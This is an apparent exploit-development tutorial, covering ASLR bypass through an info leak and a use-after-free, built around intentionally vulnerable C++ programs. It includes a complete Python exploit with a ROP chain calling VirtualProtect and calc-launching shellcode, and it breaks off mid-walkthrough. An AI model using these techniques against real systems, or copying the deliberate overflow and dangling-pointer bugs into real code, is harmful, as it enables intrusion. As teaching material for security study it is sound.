Read the previous 3 articles if you haven’t already (I, II, III).
ASLR is an acronym for Address Space Layout Randomization. As the name suggests, the layout of the address space is randomized, i.e. the base addresses of the PEB, the TEB and all the modules which support ASLR change every time Windows is rebooted and the modules are loaded into memory. This makes it impossible for hackers to use hard coded addresses in their exploits. There are at least two ways to bypass ASLR:
Find some structure or module whose base address is constant.
Exploit an info leak to determine the base addresses of structures and modules.
In this section we’ll build an exploit for a little program called exploitme4.exe.
In VS 2013, we’ll disable stack cookies, but leave DEP on, by going to Project→properties, and modifying the configuration for Release as follows:
Configuration Properties
C/C++
Code Generation
Security Check: Disable Security Check (/GS-)
Make sure that DEP is activated:
Configuration Properties
Linker
Advanced
Data Execution Prevention (DEP): Yes (/NXCOMPAT)
Here’s the code of the program:
#include <cstdio>
#include <conio.h>
class Name {
char name[32];
int *ptr;
public:
Name() : ptr((int *)name) {}
char *getNameBuf() { return name; }
int readFromFile(const char *filePath) {
printf("Reading name from file...\n");
for (int i = 0; i < sizeof(name); ++i)
name[i] = 0;
FILE *f = fopen(filePath, "rb");
if (!f)
return 0;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
fclose(f);
return 1;
}
virtual void printName() {
printf("Hi, %s!\n", name);
}
virtual void printNameInHex() {
for (int i = 0; i < sizeof(name) / 4; ++i)
printf(" 0x%08x", ptr[i]);
printf("]\n");
}
};
int main() {
Name name;
while (true) {
if (!name.readFromFile("c:\\name.dat"))
return -1;
name.printName();
name.printNameInHex();
printf("Do you want to read the name again? [y/n] ");
if (_getch() != 'y')
break;
printf("\n");
}
return 0;
}
This program is similar to the previous ones, but some logic has been moved to a class. Also, the program has a loop so that we can exploit the program multiple times without leaving the program.
The vulnerability is still the same: we can overflow the buffer name (inside the class Name), but this time we can exploit it in two different ways:
The object name is on the stack so, by overflowing its property name, we can control ret eip of main() so that when main() returns our shellcode is called.
By overflowing the property name of the object name, we can overwrite the property ptr which is used in the function printNameInHex(). By controlling ptr we can make printNameInHex() output 32 bytes of arbitrary memory.
First of all, let’s see if we need to use an info leak to bypass ASLR. Load exploitme4.exe in WinDbg (article), put a breakpoint on main() with
bp exploitme4!main
and hit F5 (go). Then let’s list the modules with mona (article):
As we can see, all the modules support ASLR, so we’ll need to rely on the info leak we discovered in exploitme4.exe.
Through the info leak we’ll discover the base addresses of kernel32.dll, ntdll.dll and msvcr120.dll. To do this, we first need to collect some information about the layout of exploitme4.exe and the three libraries we’re interested in.
.next section
First of all, let’s determine the RVA (i.e. offset relative to the base address) of the .text (i.e. code) section of exploitme4.exe:
0:000> !dh -s exploitme4
SECTION HEADER #1
.text name
AAC virtual size
1000 virtual address <---------------------------
C00 size of raw data
400 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
60000020 flags
Code
(no align specified)
Execute Read
SECTION HEADER #2
.rdata name
79C virtual size
2000 virtual address
800 size of raw data
1000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
40000040 flags
Initialized Data
(no align specified)
Read Only
<snip>
As we can see, the RVA is 1000h. This information will come in handy soon.
Virtual Functions
The class Name has two virtual functions: printName() and printNameInHex(). This means that Name has a virtual function table used to call the two virtual functions. Let’s see how this works.
In OOP (Object-Oriented Programming), classes can be specialized, i.e. a class can derive from another class. Consider the following example:
#define _USE_MATH_DEFINES
#include <cmath>
#include <cstdio>
class Figure {
public:
virtual double getArea() = 0;
};
class Rectangle : public Figure {
double base, height;
public:
Rectangle(double base, double height) : base(base), height(height) {}
virtual double getArea() {
return base * height;
}
};
class Circle : public Figure {
double radius;
public:
Circle(double radius) : radius(radius) {}
virtual double getArea() {
return radius * M_PI;
}
};
int main() {
Figure *figures[] = { new Rectangle(10, 5), new Circle(1.5), new Rectangle(5, 10) };
for (Figure *f : figures)
printf("area: %lf\n", f->getArea());
return 0;
}
The classes Rectangle and Circle inherit from the class Figure, i.e. a Rectangleis aFigure and a Circleis aFigure. This means that we can pass a pointer to a Rectangle or a Circle where a pointer to a Figure is expected. Note that Figure has no implementation for the method getArea(), but Rectangle and Circle provide their own specialized implementations for that function.
Have a look at the main() function. First three Figures (two Rectangles and a Circle) are allocated and their pointers are put into the array figures. Then, for each pointer f of type Figure *, f->getArea() is called. This last expression calls the right implementation of getArea() depending on whether the figure is a Rectangle or a Circle.
How is this implemented in assembly? Let’s look at the for loop:
010910C0 8B 0E mov ecx,dword ptr [esi] // ecx = ptr to the object
printf("area: %lf\n", f->getArea());
010910C2 8B 01 mov eax,dword ptr [ecx] // eax = ptr to the VFTable
010910C4 8B 00 mov eax,dword ptr [eax] // eax = ptr to the getArea() implementation
010910C6 FF D0 call eax
Each object starts with a pointer to the associated VFTable. All the objects of type Rectangle point to the same VFTable which contains a pointer to the implementation of getArea() associated with Rectangle. The objects of type Circle point to another VFTable which contains a pointer to their own implementation of getArea(). With this additional level of indirection, the same assembly code calls the right implementation of getArea() for each object depending on its type, i.e. on its VFTable.
A little picture might help to clarify this further: Image may be NSFW. Clik here to view.
Let’s get back to exploitme4.exe. Load it in WinDbg, put a breakpoint on main() and hit F10 (step) until you’re inside the while loop (look at the source code). This makes sure that the object name has been created and initialized.
The IAT (Import Address Table) of a file PE is a table which the OS loader fills in with the addresses of the functions imported from other modules during the dynamic linking phase. When a program wants to call an imported function, it uses a CALL with the following form:
CALL dword ptr ds:[location_in_IAT]
By inspecting the IAT of exploitme4.exe we can learn the base addresses of the modules the functions are imported from.
First let’s find out where the IAT is located:
0:000> !dh -f exploitme4
File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
14C machine (i386)
5 number of sections
550DA390 time date stamp Sat Mar 21 18:00:00 2015
0 file pointer to symbol table
0 number of symbols
E0 size of optional header
102 characteristics
Executable
32 bit word machine
OPTIONAL HEADER VALUES
10B magic #
12.00 linker version
C00 size of code
1000 size of initialized data
0 size of uninitialized data
140A address of entry point
1000 base of code
----- new -----
00ac0000 image base
1000 section alignment
200 file alignment
3 subsystem (Windows CUI)
6.00 operating system version
0.00 image version
6.00 subsystem version
6000 size of image
400 size of headers
0 checksum
00100000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
8140 DLL characteristics
Dynamic base
NX compatible
Terminal server aware
0 [ 0] address of Export Directory
23C4 [ 3C] address of Import Directory
4000 [ 1E0] address of Resource Directory
0 [ 0] address of Exception Directory
0 [ 0] address of Security Directory
5000 [ 1B4] address of Base Relocation Directory
20E0 [ 38] address of Debug Directory
0 [ 0] address of Description Directory
0 [ 0] address of Special Directory
0 [ 0] address of Thread Storage Directory
21A8 [ 40] address of Load Configuration Directory
0 [ 0] address of Bound Import Directory
2000 [ B8] address of Import Address Table Directory <-----------------------
0 [ 0] address of Delay Import Directory
0 [ 0] address of COR20 Header Directory
0 [ 0] address of Reserved Directory
The RVA of the IAT is 0x2000 and its size is 0xB8 bytes. Now we can display the contents of the IAT by using the command dps which displays the addresses with the associated symbols:
The first line means that at address exploitme4 + 00002000 there is kernel32 + 00014a25. Even if exploitme4 and kernel32 (which are the base addresses) change, the RVAs remain constant, therefore the table is always correct. This information will be crucial to determine the base addresses of kernel32.dll, ntdll.dll and msvcr120.dll during the exploitation.
Popping up the calculator
As we’ve already seen, the layout of the object name is the following:
This means that ptr is overwritten with the dword at offset 32 in the file name.dat. For now we’ll ignore ptr because we want to take control of EIP.
First of all, notice that the object name is allocated on the stack, so it is indeed possible to overwrite ret eip by overflowing the property name.
Since we must overwrite ptr on the way to take control of EIP, we must choose the address of a readable location for ptr or exploitme4 will crash when it tries to use ptr. We can overwrite ptr with the base address of kernel32.dll.
Fire up IDLE and run the following Python script:
with open(r'c:\name.dat', 'wb') as f:
readable = struct.pack('<I', 0x76320000)
name = 'a'*32 + readable + 'b'*100
f.write(name)
Load exploitme4 in WinDbg, hit F5 (go) and in exploitme4‘s console enter ‘n‘ to exit from main() and trigger the exception:
(ff4.2234): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=6ca92195 edx=0020e0e8 esi=00000001 edi=00000000
eip=62626262 esp=001cf768 ebp=62626262 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
62626262 ?? ???
We can see that EIP was overwritten by 4 of our “b“s. Let’s compute the exact offset of the dword that controls EIP by using a special pattern:
0:000> !py mona pattern_create 100
Hold on...
[+] Command used:
!py mona.py pattern_create 100
Creating cyclic pattern of 100 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
[+] Preparing output file 'pattern.txt'
- (Re)setting logfile d:\WinDbg_logs\exploitme4\pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open d:\WinDbg_logs\exploitme4\pattern.txt and copy the pattern from the file
[+] This mona.py action took 0:00:00.030000
Here’s the updated script:
with open(r'c:\name.dat', 'wb') as f:
readable = struct.pack('<I', 0x76320000)
pattern = ('Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6'+
'Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A')
name = 'a'*32 + readable + pattern
f.write(name)
Repeat the process in WinDbg to generate another exception:
(f3c.23b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=6ca92195 edx=001edf38 esi=00000001 edi=00000000
eip=33614132 esp=0039f9ec ebp=61413161 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
33614132 ?? ???
Let’s find out the offset of 0x33614132:
0:000> !py mona pattern_offset 33614132
Hold on...
[+] Command used:
!py mona.py pattern_offset 33614132
Looking for 2Aa3 in pattern of 500000 bytes
- Pattern 2Aa3 (0x33614132) found in cyclic pattern at position 8
Looking for 2Aa3 in pattern of 500000 bytes
Looking for 3aA2 in pattern of 500000 bytes
- Pattern 3aA2 not found in cyclic pattern (uppercase)
Looking for 2Aa3 in pattern of 500000 bytes
Looking for 3aA2 in pattern of 500000 bytes
- Pattern 3aA2 not found in cyclic pattern (lowercase)
[+] This mona.py action took 0:00:00.180000
Now that we know that the offset is 8, we can reuse the script we used before to defeat DEP. We just need to make some minor modification and to remember to update the base addresses for kernel32.dll, ntdll.dll and msvcr120.dll.
Here’s the full script:
import struct
# The signature of VirtualProtect is the following:
# BOOL WINAPI VirtualProtect(
# _In_ LPVOID lpAddress,
# _In_ SIZE_T dwSize,
# _In_ DWORD flNewProtect,
# _Out_ PDWORD lpflOldProtect
# );
# After PUSHAD is executed, the stack looks like this:
# .
# .
# .
# EDI (ptr to ROP NOP (RETN))
# ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
# EBP (ptr to POP (skips EAX on the stack))
# ESP (lpAddress (automatic))
# EBX (dwSize)
# EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
# ECX (lpOldProtect (ptr to writeable address))
# EAX (address of ptr to VirtualProtect)
# lpAddress:
# ptr to "call esp"
# <shellcode>
msvcr120 = 0x6c9f0000
kernel32 = 0x76320000
ntdll = 0x770c0000
def create_rop_chain():
for_edx = 0xffffffff
# rop chain generated with mona.py - www.corelan.be (and modified by me).
rop_gadgets = [
msvcr120 + 0xbf868, # POP EBP # RETN [MSVCR120.dll]
msvcr120 + 0xbf868, # skip 4 bytes [MSVCR120.dll]
# ebx = 0x400 (dwSize)
msvcr120 + 0x1c658, # POP EBX # RETN [MSVCR120.dll]
0x11110511,
msvcr120 + 0xdb6c4, # POP ECX # RETN [MSVCR120.dll]
0xeeeefeef,
msvcr120 + 0x46398, # ADD EBX,ECX # SUB AL,24 # POP EDX # RETN [MSVCR120.dll]
for_edx,
# edx = 0x40 (NewProtect = PAGE_EXECUTE_READWRITE)
msvcr120 + 0xbedae, # POP EDX # RETN [MSVCR120.dll]
0x01010141,
ntdll + 0x75b23, # POP EDI # RETN [ntdll.dll]
0xfefefeff,
msvcr120 + 0x39b41, # ADD EDX,EDI # RETN [MSVCR120.dll]
msvcr120 + 0xdb6c4, # POP ECX # RETN [MSVCR120.dll]
kernel32 + 0xe0fce, # &Writable location [kernel32.dll]
ntdll + 0x75b23, # POP EDI # RETN [ntdll.dll]
msvcr120 + 0x68e3d, # RETN (ROP NOP) [MSVCR120.dll]
msvcr120 + 0x6e150, # POP ESI # RETN [MSVCR120.dll]
ntdll + 0x2e8ae, # JMP [EAX] [ntdll.dll]
msvcr120 + 0x50464, # POP EAX # RETN [MSVCR120.dll]
msvcr120 + 0xe51a4, # address of ptr to &VirtualProtect() [IAT MSVCR120.dll]
msvcr120 + 0xbb7f9, # PUSHAD # RETN [MSVCR120.dll]
kernel32 + 0x37133, # ptr to 'call esp' [kernel32.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
def write_file(file_path):
with open(file_path, 'wb') as f:
readable = struct.pack('<I', kernel32)
ret_eip = struct.pack('<I', kernel32 + 0xb7805) # RETN
shellcode = (
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
"\x30\x03\xc6\xeb\xdd")
name = 'a'*32 + readable + 'a'*8 + ret_eip + create_rop_chain() + shellcode
f.write(name)
write_file(r'c:\name.dat')
Run the script and then run exploitme4.exe and exit from it by typing “n” at the prompt. If you did everything correctly, the calculator should pop up. We did it!
Exploiting the info leak
Now let’s assume we don’t know the base addresses of kernel32.dll, ntdll.dll and msvcr120.dll and that we want to determine them by relying on exploitme4.exe alone (so that we could do that even from a remote PC if exploitme4.exe was offered as a remote service).
From the source code of exploitme4, we can see that ptr initially points to the beginning of the array name:
class Name {
char name[32];
int *ptr;
public:
Name() : ptr((int *)name) {}
<snip>
};
We want to read the pointer to the VFTable, but even if we can control ptr and read wherever we want, we don’t know the address of name. A solution is that of performing a partial overwrite. We’ll just overwrite the least significant byte of ptr:
def write_file(lsb):
with open(r'c:\name.dat', 'wb') as f:
name = 'a'*32 + chr(lsb)
f.write(name)
write_file(0x80)
If the initial value of ptr was 0xYYYYYYYY, after the overwrite, ptr is equal to 0xYYYYYY80. Now let’s run exploitme4.exe (directly, without WinDbg):
Reading name from file...
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaǰ&!
0x01142148 0x00000000 0x6cace060 0x0000000b 0x0026f87c 0x00000021 0x0026f924 0x
6ca0a0d5]
Do you want to read the name again? [y/n]
As we can see, the first 8 dwords starting from the address indicated by ptr are
There’s no trace of the “a“s (0x61616161) we put in the buffer name, so we must keep searching. Let’s try with 0x60:
write_file(0x60)
After updating name.dat, press ‘y‘ in the console of exploitme4.exe and look at the portion of memory dumped. Since exploitme4.exe shows 0x20 bytes at a time, we can increment or decrement ptr by 0x20. Let’s try other values (keep pressing ‘y‘ in the console after each update of the file name.dat):
Reading name from file...
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa└°&!
0x00000000 0x0026f8cc 0x011421a0 0x61616161 0x61616161 0x61616161 0x61616161 0x
61616161]
Do you want to read the name again? [y/n]
It’s clear that 0x011421a0 is the pointer to the VFTable. Now let’s read the contents of the VFTable:
def write_file(ptr):
with open(r'c:\name.dat', 'wb') as f:
name = 'a'*32 + struct.pack('<I', ptr)
f.write(name)
write_file(0x011421a0)
By pressing ‘y‘ again in the console, we see the following:
Reading name from file...
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaá!¶☺☺!
0x01141000 0x01141020 0x00000048 0x00000000 0x00000000 0x00000000 0x00000000 0x
00000000]
Do you want to read the name again? [y/n]
The two pointers to the virtual functions are 0x01141000 and 0x01141020. We saw that the RVA to the first one is 0x1000, therefore the base address of exploitme4 is
Reading name from file...
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
0x76334a250x770f9dd5 0x763334c9 0x76331420 0x763311f8 0x763316f1 0x7710107b 0x
763351fd]
Do you want to read the name again? [y/n]
We get two values: 0x76334a25 and 0x770f9dd5.
We need the last one:
write_file(0x1142024)
By pressing ‘y‘ in the console we get:
Reading name from file...
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$ ¶☺☺!
0x6ca94ced 0x6ca6bb8d 0x6ca1e25f 0x6ca1c7ce 0x6ca24293 0x6ca6bbb8 0x6ca24104 0x
6ca955eb]
Do you want to read the name again? [y/n]
Of course, all this process makes sense when we have remote access to the program but not to the machine. Moreover, in an actual exploit all this can and need to be automated. Here, I’m just trying to show you the principles and therefore I’ve willingly omitted any superflous details which would’ve complicated matters without adding any real depth to your comprehension. Don’t worry: when we deal with Internet Explorer we’ll see a real exploit in all its glory!
If you haven’t already, read the previous articles (I, II, III, IV) before proceeding.
For this example you’ll need to disable DEP. In VS 2013, go to Project→properties, and modify the configuration for Release as follows:
Configuration Properties
Linker
Advanced
Data Execution Prevention (DEP): No (/NXCOMPAT:NO)
The source code of exploitme5 is the following:
#include <conio.h>
#include <cstdio>
#include <cstdlib>
#include <vector>
using namespace std;
const bool printAddresses = true;
class Mutator {
protected:
int param;
public:
Mutator(int param) : param(param) {}
virtual int getParam() const {
return param;
}
virtual void mutate(void *data, int size) const = 0;
};
class Multiplier: public Mutator {
int reserved[40]; // not used, for now!
public:
Multiplier(int multiplier = 0) : Mutator(multiplier) {}
virtual void mutate(void *data, int size) const {
int *ptr = (int *)data;
for (int i = 0; i < size / 4; ++i)
ptr[i] *= getParam();
}
};
class LowerCaser : public Mutator {
public:
LowerCaser() : Mutator(0) {}
virtual void mutate(void *data, int size) const {
char *ptr = (char *)data;
for (int i = 0; i < size; ++i)
if (ptr[i] >= 'a' && ptr[i] <= 'z')
ptr[i] -= 0x20;
}
};
class Block {
void *data;
int size;
public:
Block(void *data, int size) : data(data), size(size) {}
void *getData() const { return data; }
int getSize() const { return size; }
};
// Global variables
vector<Block> blocks;
Mutator *mutators[] = { new Multiplier(2), new LowerCaser() };
void configureMutator() {
while (true) {
printf(
"1) Multiplier (multiplier = %d)\n"
"2) LowerCaser\n"
"3) Exit\n"
"\n"
"Your choice [1-3]: ", mutators[0]->getParam());
int choice = _getch();
printf("\n\n");
if (choice == '3')
break;
if (choice >= '1' && choice <= '3') {
if (choice == '1') {
if (printAddresses)
printf("mutators[0] = 0x%08x\n", mutators[0]);
delete mutators[0];
printf("multiplier (int): ");
int multiplier;
int res = scanf_s("%d", &multiplier);
fflush(stdin);
if (res) {
mutators[0] = new Multiplier(multiplier);
if (printAddresses)
printf("mutators[0] = 0x%08x\n", mutators[0]);
printf("Multiplier was configured\n\n");
}
break;
}
else {
printf("LowerCaser is not configurable for now!\n\n");
}
}
else
printf("Wrong choice!\n");
}
}
void listBlocks() {
printf("------- Blocks -------\n");
if (!printAddresses)
for (size_t i = 0; i < blocks.size(); ++i)
printf("block %d: size = %d\n", i, blocks[i].getSize());
else
for (size_t i = 0; i < blocks.size(); ++i)
printf("block %d: address = 0x%08x; size = %d\n", i, blocks[i].getData(), blocks[i].getSize());
printf("----------------------\n\n");
}
void readBlock() {
char *data;
char filePath[1024];
while (true) {
printf("File path ('exit' to exit): ");
scanf_s("%s", filePath, sizeof(filePath));
fflush(stdin);
printf("\n");
if (!strcmp(filePath, "exit"))
return;
FILE *f = fopen(filePath, "rb");
if (!f)
printf("Can't open the file!\n\n");
else {
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
data = new char[bytes];
fseek(f, 0L, SEEK_SET);
int pos = 0;
while (pos < bytes) {
int len = bytes - pos > 200 ? 200 : bytes - pos;
fread(data + pos, 1, len, f);
pos += len;
}
fclose(f);
blocks.push_back(Block(data, bytes));
printf("Block read (%d bytes)\n\n", bytes);
break;
}
}
}
void duplicateBlock() {
listBlocks();
while (true) {
printf("Index of block to duplicate (-1 to exit): ");
int index;
scanf_s("%d", &index);
fflush(stdin);
if (index == -1)
return;
if (index < 0 || index >= (int)blocks.size()) {
printf("Wrong index!\n");
}
else {
while (true) {
int copies;
printf("Number of copies (-1 to exit): ");
scanf_s("%d", &copies);
fflush(stdin);
if (copies == -1)
return;
if (copies <= 0)
printf("Wrong number of copies!\n");
else {
for (int i = 0; i < copies; ++i) {
int size = blocks[index].getSize();
void *data = new char[size];
memcpy(data, blocks[index].getData(), size);
blocks.push_back(Block(data, size));
}
return;
}
}
}
}
}
void myExit() {
exit(0);
}
void mutateBlock() {
listBlocks();
while (true) {
printf("Index of block to mutate (-1 to exit): ");
int index;
scanf_s("%d", &index);
fflush(stdin);
if (index == -1)
break;
if (index < 0 || index >= (int)blocks.size()) {
printf("Wrong index!\n");
}
else {
while (true) {
printf(
"1) Multiplier\n"
"2) LowerCaser\n"
"3) Exit\n"
"Your choice [1-3]: ");
int choice = _getch();
printf("\n\n");
if (choice == '3')
break;
if (choice >= '1' && choice <= '3') {
choice -= '0';
mutators[choice - 1]->mutate(blocks[index].getData(), blocks[index].getSize());
printf("The block was mutated.\n\n");
break;
}
else
printf("Wrong choice!\n\n");
}
break;
}
}
}
int handleMenu() {
while (true) {
printf(
"1) Read block from file\n"
"2) List blocks\n"
"3) Duplicate Block\n"
"4) Configure mutator\n"
"5) Mutate block\n"
"6) Exit\n"
"\n"
"Your choice [1-6]: ");
int choice = _getch();
printf("\n\n");
if (choice >= '1' && choice <= '6')
return choice - '0';
else
printf("Wrong choice!\n\n");
}
}
int main() {
typedef void(*funcPtr)();
funcPtr functions[] = { readBlock, listBlocks, duplicateBlock, configureMutator, mutateBlock, myExit };
while (true) {
int choice = handleMenu();
functions[choice - 1]();
}
return 0;
}
This program is longer than the previous ones, so let’s talk a little about it. This program lets you:
read a block of data from file;
duplicate a block by doing copies of it;
transform a block by doing some operations on it.
You can transform a block by using a mutator. There are just two mutators: the first is called Multiplier and multiplies the dwords in a block by a multiplier, whereas the second is called LowerCaser and simply trasform ASCII characters to lowercase.
The Multiplier mutator can be configured, i.e. the multiplier can be specified by the user.
UAF
This program has a bug of type UAF (Use After Free). Here’s an example of a UAF bug:
Object *obj = new Object;
...
delete obj; // Free
...
obj->method(); // Use
As you can see, obj is used after it’s been freed. The problem is that in C++, objects must be freed manually (there is no garbage collector) so, because of a programming error, an object can be freed while it’s still in use. After the deallocation, obj becomes a so-called dangling pointer because it points to deallocated data.
How can we exploit such a bug? The idea is to take control of the portion of memory pointed to by the dangling pointer. To understand how we can do this, we need to know how the memory allocator works. We talked about the Windows Heap in the Heap section.
In a nutshell, the heap maintains lists of free blocks. Each list contains free blocks of a specific size. For example, if we need to allocate a block of 32 bytes, a block of 40 bytes is removed from the appropriate list of free blocks and returned to the caller. Note that the block is 40 bytes because 8 bytes are used for the metadata. When the block is released by the application, the block is reinserted into the appropriate list of free blocks.
Here comes the most important fact: when the allocator needs to remove a free block from a free list, it tends to return the last free block which was inserted into that list. This means that if an object of, say, 32 bytes is deallocated and then another object of 32 bytes is allocated, the second object will occupy the same portion of memory that was occupied by the first object.
Let’s look at an example:
Object *obj = new Object;
...
delete obj;
Object *obj2 = new Object;
...
obj->method();
In this example, obj and obj2 will end up pointing to the same object because the block of memory released by delete is immediately returned by the following new.
What happens if instead of another object we allocate an array of the same size? Look at this example:
Object *obj = new Object; // sizeof(Object) = 32
...
delete obj;
int *data = new int[32/4];
data[0] = ptr_to_evil_VFTable;
...
obj->virtual_method();
As we saw before when we exploited exploitme4, the first DWORD of an object which has a virtual function table is a pointer to that table. In the example above, through the UAF bug, we are able to overwrite the pointer to the VFTable with a value of our choosing. This way, obj->virtual_method() may end up calling our payload.
Heap Spraying
To spray the heap means filling the heap with data we control. In browsers we can do this through Javascript by allocating strings or other objects. Spraying the heap is a way to put our shellcode in the address space of the process we’re attacking. Let’s say we succeed in filling the heap with the following data:
Even if the allocations on the Heap are not completely deterministic, if we put enough data on the heap, and the nop sleds are long enough with respect to our shellcode, it’s highly probable that by jumping at a specific address on the heap we’ll hit a nop sled and our shellcode will be executed.
By studying how the heap behaves, we can even perform precise heap spraying, so that we don’t need any nop sleds.
UAF in exploitme5
The UAF bug is located in the mutateBlock() function. Here’s the code again:
void configureMutator() {
while (true) {
printf(
"1) Multiplier (multiplier = %d)\n"
"2) LowerCaser\n"
"3) Exit\n"
"\n"
"Your choice [1-3]: ", mutators[0]->getParam());
int choice = _getch();
printf("\n\n");
if (choice == '3')
break;
if (choice >= '1' && choice <= '3') {
if (choice == '1') {
if (printAddresses)
printf("mutators[0] = 0x%08x\n", mutators[0]);
delete mutators[0]; <========================== FREE
printf("multiplier (int): ");
int multiplier;
int res = scanf_s("%d", &multiplier);
fflush(stdin);
if (res) {
mutators[0] = new Multiplier(multiplier); <======= only if res is true
if (printAddresses)
printf("mutators[0] = 0x%08x\n", mutators[0]);
printf("Multiplier was configured\n\n");
}
break;
}
else {
printf("LowerCaser is not configurable for now!\n\n");
}
}
else
printf("Wrong choice!\n");
}
}
Look at the two remarks in the code above. This function lets us change the multiplier used by the Multiplier mutator, but if we enter an invalid value, for instance “asdf“, scanf_s() returns false and mutators[0] becomes a dangling pointer because still points to the destroyed object.
Here’s the definition of Multiplier (and its base class Mutator):
class Mutator {
protected:
int param;
public:
Mutator(int param) : param(param) {}
virtual int getParam() const {
return param;
}
virtual void mutate(void *data, int size) const = 0;
};
class Multiplier: public Mutator {
int reserved[40]; // not used, for now!
public:
Multiplier(int multiplier = 0) : Mutator(multiplier) {}
virtual void mutate(void *data, int size) const {
int *ptr = (int *)data;
for (int i = 0; i < size / 4; ++i)
ptr[i] *= getParam();
}
};
So if we allocate a block of 168 bytes, the allocator will return to us the block which is still pointed to by mutators[0]. How do we create such a block? We can use the option Read block from file, but it might not work because fopen() is called before the new block is allocated. This may cause problems because fopen() calls the allocator internally. Here’s the code for readBlock():
void readBlock() {
char *data;
char filePath[1024];
while (true) {
printf("File path ('exit' to exit): ");
scanf_s("%s", filePath, sizeof(filePath));
fflush(stdin);
printf("\n");
if (!strcmp(filePath, "exit"))
return;
FILE *f = fopen(filePath, "rb"); <======================
if (!f)
printf("Can't open the file!\n\n");
else {
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
data = new char[bytes]; <======================
fseek(f, 0L, SEEK_SET);
int pos = 0;
while (pos < bytes) {
int len = bytes - pos > 200 ? 200 : bytes - pos;
fread(data + pos, 1, len, f);
pos += len;
}
fclose(f);
blocks.push_back(Block(data, bytes));
printf("Block read (%d bytes)\n\n", bytes);
break;
}
}
}
For convenience, the code prints the addresses of the deallocated Multiplier (mutators[0]) and of the allocated blocks (in listBlocks()).
Let’s try to exploit the UAF bug. First let’s create a file of 168 bytes with the following Python script:
with open(r'd:\obj.dat', 'wb') as f:
f.write('a'*168)
Now let’s run exploitme5:
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 4
1) Multiplier (multiplier = 2)
2) LowerCaser
3) Exit
Your choice [1-3]: 1
mutators[0] = 0x004fc488 <======== deallocated block
multiplier (int): asdf
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 1
File path ('exit' to exit): d:\obj.dat
Block read (168 bytes)
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
